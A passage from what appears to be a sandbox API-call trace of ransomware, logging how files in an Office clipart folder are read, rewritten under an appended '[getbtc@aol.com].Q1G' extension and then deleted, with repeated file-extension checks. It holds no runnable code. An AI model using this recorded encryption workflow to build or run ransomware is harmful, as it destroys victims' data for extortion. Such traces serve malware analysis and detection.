(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.732] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.732] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.733] GetLastError () returned 0x0 [0242.733] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x19a4, lpOverlapped=0x0) returned 1 [0242.735] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0242.736] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.736] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.736] SetEndOfFile (hFile=0x204) returned 1 [0242.737] CloseHandle (hObject=0x204) returned 1 [0242.737] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.738] SetEndOfFile (hFile=0x200) returned 1 [0242.740] CloseHandle (hObject=0x200) returned 1 [0242.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0242.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.770] lstrlenW (lpString=".doc") returned 4 [0242.770] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.770] lstrlenW (lpString=".docx") returned 5 [0242.770] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0242.770] lstrlenW (lpString=".pdf") returned 4 [0242.770] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.770] lstrlenW (lpString=".xls") returned 4 [0242.770] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.770] lstrlenW (lpString=".xlsx") returned 5 [0242.770] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0242.770] lstrlenW (lpString=".ppt") returned 4 [0242.770] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.770] lstrlenW (lpString=".zip") returned 4 [0242.770] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString=".rar") returned 4 [0242.771] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString=".bz2") returned 4 [0242.771] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.771] lstrlenW (lpString=".7z") returned 3 [0242.771] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString=".dbf") returned 4 [0242.771] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString=".1cd") returned 4 [0242.771] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString=".jpg") returned 4 [0242.771] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString=".doc") returned 4 [0242.771] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.771] lstrlenW (lpString=".docx") returned 5 [0242.771] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0242.771] lstrlenW (lpString=".pdf") returned 4 [0242.771] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString=".xls") returned 4 [0242.771] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString=".xlsx") returned 5 [0242.771] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0242.771] lstrlenW (lpString=".ppt") returned 4 [0242.771] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.771] lstrlenW (lpString=".zip") returned 4 [0242.771] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.771] lstrlenW (lpString=".rar") returned 4 [0242.772] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.772] lstrlenW (lpString=".bz2") returned 4 [0242.772] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.772] lstrlenW (lpString=".7z") returned 3 [0242.772] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.772] lstrlenW (lpString=".dbf") returned 4 [0242.772] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.772] lstrlenW (lpString=".1cd") returned 4 [0242.772] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.772] lstrlenW (lpString=".jpg") returned 4 [0242.772] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.772] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.772] lstrlenW (lpString="PARNT_08.MID") returned 12 [0242.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.772] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=7347) returned 1 [0242.773] CloseHandle (hObject=0x324) returned 1 [0242.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0242.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.773] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.773] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.775] GetLastError () returned 0x0 [0242.775] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0242.815] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1cc0, lpOverlapped=0x0) returned 1 [0242.816] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.816] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.816] SetEndOfFile (hFile=0x204) returned 1 [0242.820] CloseHandle (hObject=0x204) returned 1 [0242.820] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.820] SetEndOfFile (hFile=0x324) returned 1 [0242.822] CloseHandle (hObject=0x324) returned 1 [0242.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0242.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.823] lstrlenW (lpString=".doc") returned 4 [0242.823] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.823] lstrlenW (lpString=".docx") returned 5 [0242.823] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0242.823] lstrlenW (lpString=".pdf") returned 4 [0242.823] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.823] lstrlenW (lpString=".xls") returned 4 [0242.823] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.823] lstrlenW (lpString=".xlsx") returned 5 [0242.823] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0242.823] lstrlenW (lpString=".ppt") returned 4 [0242.823] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.823] lstrlenW (lpString=".zip") returned 4 [0242.823] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.823] lstrlenW (lpString=".rar") returned 4 [0242.823] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.823] lstrlenW (lpString=".bz2") returned 4 [0242.823] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.823] lstrlenW (lpString=".7z") returned 3 [0242.823] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.823] lstrlenW (lpString=".dbf") returned 4 [0242.823] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.823] lstrlenW (lpString=".1cd") returned 4 [0242.823] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.824] lstrlenW (lpString=".jpg") returned 4 [0242.824] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.824] lstrlenW (lpString=".doc") returned 4 [0242.824] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.824] lstrlenW (lpString=".docx") returned 5 [0242.824] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0242.824] lstrlenW (lpString=".pdf") returned 4 [0242.824] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.824] lstrlenW (lpString=".xls") returned 4 [0242.824] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.824] lstrlenW (lpString=".xlsx") returned 5 [0242.824] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0242.824] lstrlenW (lpString=".ppt") returned 4 [0242.824] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.824] lstrlenW (lpString=".zip") returned 4 [0242.824] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.824] lstrlenW (lpString=".rar") returned 4 [0242.824] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.824] lstrlenW (lpString=".bz2") returned 4 [0242.824] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.824] lstrlenW (lpString=".7z") returned 3 [0242.824] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.824] lstrlenW (lpString=".dbf") returned 4 [0242.824] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.825] lstrlenW (lpString=".1cd") returned 4 [0242.825] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0242.825] lstrlenW (lpString=".jpg") returned 4 [0242.825] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.825] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.825] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0242.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.826] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=10122) returned 1 [0242.826] CloseHandle (hObject=0x324) returned 1 [0242.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0242.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.827] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.827] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.828] GetLastError () returned 0x0 [0242.828] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x278a, lpOverlapped=0x0) returned 1 [0242.832] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0242.833] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.833] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.833] SetEndOfFile (hFile=0x204) returned 1 [0242.833] CloseHandle (hObject=0x204) returned 1 [0242.833] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.833] SetEndOfFile (hFile=0x324) returned 1 [0242.836] CloseHandle (hObject=0x324) returned 1 [0242.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".doc") returned 4 [0242.838] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.838] lstrlenW (lpString=".docx") returned 5 [0242.838] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.838] lstrlenW (lpString=".pdf") returned 4 [0242.838] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.838] lstrlenW (lpString=".xls") returned 4 [0242.838] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.838] lstrlenW (lpString=".xlsx") returned 5 [0242.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.838] lstrlenW (lpString=".ppt") returned 4 [0242.838] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".zip") returned 4 [0242.838] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.838] lstrlenW (lpString=".rar") returned 4 [0242.838] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.838] lstrlenW (lpString=".bz2") returned 4 [0242.838] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.838] lstrlenW (lpString=".7z") returned 3 [0242.838] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".dbf") returned 4 [0242.838] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".1cd") returned 4 [0242.838] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".jpg") returned 4 [0242.838] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.838] lstrlenW (lpString=".doc") returned 4 [0242.839] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.839] lstrlenW (lpString=".docx") returned 5 [0242.839] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.839] lstrlenW (lpString=".pdf") returned 4 [0242.839] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.839] lstrlenW (lpString=".xls") returned 4 [0242.839] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.839] lstrlenW (lpString=".xlsx") returned 5 [0242.839] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.839] lstrlenW (lpString=".ppt") returned 4 [0242.839] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.839] lstrlenW (lpString=".zip") returned 4 [0242.839] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.839] lstrlenW (lpString=".rar") returned 4 [0242.839] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.839] lstrlenW (lpString=".bz2") returned 4 [0242.839] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.839] lstrlenW (lpString=".7z") returned 3 [0242.839] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.839] lstrlenW (lpString=".dbf") returned 4 [0242.839] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.839] lstrlenW (lpString=".1cd") returned 4 [0242.839] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0242.839] lstrlenW (lpString=".jpg") returned 4 [0242.839] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.839] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.840] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0242.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.840] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=5058) returned 1 [0242.840] CloseHandle (hObject=0x324) returned 1 [0242.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0242.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.841] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.841] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 